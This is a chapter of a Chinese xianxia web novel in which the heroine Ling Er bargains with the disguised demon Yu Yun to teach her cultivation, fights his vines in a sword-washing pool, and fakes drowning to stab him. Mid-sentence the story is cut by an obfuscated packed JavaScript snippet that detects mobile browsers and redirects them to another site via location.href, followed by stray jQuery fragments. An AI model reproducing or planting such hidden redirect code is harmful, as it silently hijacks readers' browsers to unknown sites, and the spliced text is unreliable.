半时辰后,洗剑池。
将近九尺高的垂直石壁上,瀑布银白似白练。
无数水花飞溅入池,化作池面薄薄水汽。
丝丝寒意悄然浸透入骨。
突然刷地一声。
池面长久以来的平静被打破,多把银剑瞬间没入池中,漾起圈圈涟漪。
凌迩蹲在池边,一边哼着小调,一边随手从池里提溜出其中一把,摁在磨剑石上来回摩擦。
不得不说,这儿的水还真凉,晚上回去檀婆少不得又要给她熬药了。
就在她暗自嘀咕时,身后传来一声轻啧。
一块擦剑布被掷到凌迩肩上。
她回头,只见魔头正满脸嫌弃地看向她:“哼的什么东西,真难听。”
凌迩却不恼,拎起擦剑布就起身走到他跟前,一双圆眸清楚无二地映着对方漂亮依旧的脸:“你终于来了。”
见她一反常态,郁云极轻地拧了下眉:“你又犯病了?”
“……”
凌迩忍了忍,变戏法似的从身后变出一瓶膏药送给他:“这是我从檀婆那拿的药,对你后背的鞭伤有奇效。”
她撑起嘴角弧度,让自己尽量笑得自然点。
可对方却不领情。
郁云压根就没分半点目光给她手里的膏药,面上闪过一丝嘲讽:“时隔半月,凌师妹还真是好记性。”
“……这不是内外门相距太远,我又因坠湖一事虚得起不了身。”
凌迩故意咳了两声,见他不搭理,只好隔着面纱摸了摸自己鼻子,尴尬地收回膏药。
圆眸眨眨眼,看一眼面前的郁云,又移开视线。
一副想说什么又不敢说的模样。
“……”郁云转头就要走。
“诶诶等等!”
凌迩顾不上对这人的害怕,忙拉住他袖口,同时看了眼四周确定无人。
郁云难得被她这副鬼鬼祟祟的模样勾起好奇心,才侧过脸来,谁知这时凌迩突然踮脚朝他靠近,陌生的气息带着淡淡女子香猝不及防打在他耳垂上——
浅色瞳孔几不可查地颤了一下。
“我帮你掩饰身份,你教我修炼好不好?”
女子拽住他衣角,仰着脸小声求他。
下一刻,他将人狠狠推开。
郁云用力擦掉耳垂上奇怪的痒意,眉眼蕴着嫌弃:“靠这么近作甚?”
“……”凌迩脸上的微笑差点裂开。
不是这人都男扮女装了,怎么连个女的靠近都大惊小怪?
心中默念不气不气,气出病来无人替,她勉强稳住心态,好声好气问他:“你觉得我的提议怎么样?”
她想过了,眼下这种必须和魔头绑定的情况,对她来说反而是有利的。
魔头不会杀她,至少短期内不会。
她想提升修为,又害怕暴露穿书及灵蛊的事。
渣男主是不用指望了,原身的掌门师父又早早闭关不见人。
现在于她而言,最好的选择莫过于眼前这人。
郁云眯了眯眼:“帮我掩饰身份?”
凌迩点头如捣蒜。
“呵。”
魔头不咸不淡地看了她一眼,旋即看向池底待洗的剑。
凌迩两眼一亮,马上上道,拍胸承诺:“所有的剑我包了。”
魔头没说话,垂眼看向自己被扯乱的衣角。
凌迩立即上前帮他整理好。
魔头一顿,又看向她胸口。
凌迩:……
她瞬间捂住胸口,连连后退:“这个不行!”
魔头满脸无语,言简意赅:“你的膏药。”
凌迩这才明白自己搞错了,尬得双颊通红,把刚刚顺手塞进交领的膏药拿出来双手奉上。
“你已筑基,为何心急?”
魔头看似漫不经心地打量着手里膏药,“你又凭何认为我能教你?”
“道友既隐瞒身份来天谕宗,外门十年,均无人发现,想来能力必定在我等之上……”
凌迩张口就来,把人夸得天上有地下无。
说完见对方面色隐隐透着不耐便话音一转,她轻声道:“急着修炼是因为,我给自己定了一个小目标。”
“哦?”魔头这才偏头看来。
凌迩认真脸:“三年内,我要成为天谕宗长老。”
——因为只有长老才能上藏书馆二楼。
魔头:“……”
眼见着人扔了膏药就要走,她急忙捡起东西喊住他:“行还是不行你倒给个准话啊!”
“另请高明罢。”
“不行!你难道觉得你比天谕宗长老差?”
“……人贵在有自知之明。”
“放心,我不会嫌弃你差的。”
凌迩拍着胸脯,全然不在意对方瞬间黑下来的脸色。
好一会,郁云被气笑,咬着后槽牙,一连说了三个好字。
他索性也不走了,站在原地寒声道:“你现在就去洗剑。”
凌迩摸不清他的想法,一步三回头地去了。
谁料人到池边,都还没来得及蹲下去,一根藤蔓狠狠扫过双膝,发出啪的一声清响。
不大疼,但给人感觉很奇怪。
凌迩正要回头质问,另一道藤蔓又朝她刮过来!
凌迩面色一紧,下意识侧身躲过。
然而第三道又裹着劲风来了。
她被逼得抱头逃串,就差跳进池里了。
郁云看不下去:“动用你的灵力!”
“我要是能用我找你干嘛?!”
凌迩急得满头大汗,说话也不经脑子。
这句话跟捅了马蜂窝似的,围攻她的所有藤蔓瞬间加快速度,变得疯狂且难缠。
这个疯子!
凌迩捂着被敲疼的脑门暗骂一声,不得不开始回忆脑中记下的那几本基础心法。
“咻——!”
藤蔓破空而来,强行扰乱她的思绪。
凌迩喘着粗气,一时不是背串就是忘词,到头来连丁点灵力都使不出来。
眼看着藤蔓就要再次拍上她脑门,凌迩心一横,索性跳进池底。
踩着刚好没过双膝的水深,她随手捞起一柄剑,气势汹汹地朝追她而来的藤蔓砍去:“给我去死吧!”
可惜藤蔓灵活如蛇,剑锋压根就没碰上它们。
只斩向池面,徒然激起半人高的雪白浪花。
一击未中,被气昏头的凌迩直接提剑追着藤蔓连砍数十下。
啪啪啪!!
水花四溅中,剑刃数次与藤蔓擦肩而过。
浑身湿透的凌迩早已筋疲力尽,握着剑柄的手都在抖,可她双目簇火,盯着藤蔓们的眼神愈发兴奋。
就是现在!
她瞅准时机,突然一个下腰躲过攻击的同时,提着剑猛地朝某个方向挥去。
动作较为迟滞的那根藤蔓果然被砍中。
连带着其他几根藤蔓也如同被瞬间冻住般滞在半空。
凌迩挑了下眉,正得意。
不料下一刻,只听咔啦一声。
剑身砍中藤蔓的部分忽然裂开一道缝。
凌迩:???不是吧。
就在这时,所有藤蔓瞬间重新动了起来,卡在那儿的剑身随之从中断开,落入水中。
她咬牙,想捡池底其他银剑。
谁知藤蔓们这次学精了,攻势愈发猛烈,压根就不给她弯腰捡东西的机会,迫她只能赤手空拳面对张牙爪舞的藤蔓。
魔头明摆着就是故意戏弄她。
凌迩恨得两眼发红,如果视线能杀人的话
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995083|178139||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,远远旁观的郁云恐怕早就被她的眼神杀死无数次了。
她试着以自身作饵,引几条藤蔓相互缠绕打结。
可是没用,藤蔓们完全不吃这一套。
凌迩没办法,只能跟它们在水池里兜圈。
突然,脚下被什么东西缠住,她来不及反应,狠狠往下一摔,整个人倒头没入水中。
藤蔓们静了一会。
像在观察她是否有从水里起身的迹象。
然而一息、两息、三息过后,池面一片死寂。
原先活蹦乱跳的人此时背对着藤蔓们,在水中一动不动。
一根藤蔓小心翼翼卷起女子,将她翻过面来。
只见人脸色发白,一探发现气息全无。
柔和日光撒在她宁静的眉眼上,面纱早在和藤蔓纠缠时就掉了,此时侧脸长长疤痕显露在外,显得极为刺眼。
一道阴影覆盖下来,郁云踏水而来,面无表情朝前伸出手。
藤蔓把人递到他怀里,而后默默和其余几根藤蔓缩成一团。
女子入怀一片冰冷潮湿,郁云沉默凝视这张脸。
山风轻拂,将女子散落的发丝高高扬起。
一下又一下轻触他揽着女子的手腕。
下一刻,他毫无预兆地伸手探向她心口。
就在这时,眼前忽有一道银光闪过。
琥珀色眸子被这突如其来的光照得瞳孔一缩,手顿了顿。
然而正是在他迟疑的短短一瞬,本该毫无生气的怀中人突然睁眼,一把将他摁进池边带水的石阶上,自己则翻身而起骑在他腰上。
“哈,又被我骗到了!”
凌迩狞笑着,一手揪住他衣领,一手持着藏在袖中已久的断剑对准郁云心口威胁:
“说,到底愿不愿意教我?!”
“……”郁云定定看她,眼里没有半分害怕,声线含着摄人凉意:“你这样是伤不了我——”
谁料话音未落,凌迩等得不耐烦,握着断剑直直往下一戳!
丝丝缕缕的血色在水中漫开,郁云话音猛地一顿,眼神终于有了一丝波动。
——他眼下这副壳子用秘法打造而成,寻常法器难伤分毫。
早前的鞭伤也不过是他刻意做出的假象罢了。
这边凌迩倒没注意他的神色变化,手上断剑只戳进去一小截就不行了。
她正奇怪呢,谁知他突然抓住她握剑的手。
“?”凌迩瞪着他:“怎么?”
“你可知二次入道?”
郁云悄然分出一缕灵力进她脉中查探,却被对方充盈的灵力挡回,饶是他见多识广也不由生出一丝惊讶:“你已以剑入道。”
以剑入道?这不是原著男主的天赋配置么?
凌迩满头雾水,但并不妨碍她从中提取到一个信息——
她可以开始修炼了!
她二话不说拔出断剑,细细打量,果然在剑身发现了盈盈白光。
并指一收,白光顿失。
剑身又重新变回毫无光泽的普通银剑。
凌迩一会并指一会收,玩得不亦乐乎,直到身下某人发出幽幽提醒:“劳驾,这还有个伤者。”
凌迩这才舍得把目光投向郁云,以及他心口处仍在往外渗血的伤口。
“哎呀不好意思。”
她毫无诚意地道歉,起身将人扶起,还不忘给他细细整理衣摆——虽然早已湿透。
郁云满眼嫌弃,正要喝止她,她却在这时突然发出低低一声“呀”。
郁云:“你又在搞什——”
只见女子低头在袖口好一通翻找,而后摸出一个拇指大小的空瓶子,手一伸就要朝他心口抵来,“还好我带了瓶子,不然这么多血,不留给灵蛊吃多浪费啊!”
郁云:“…………”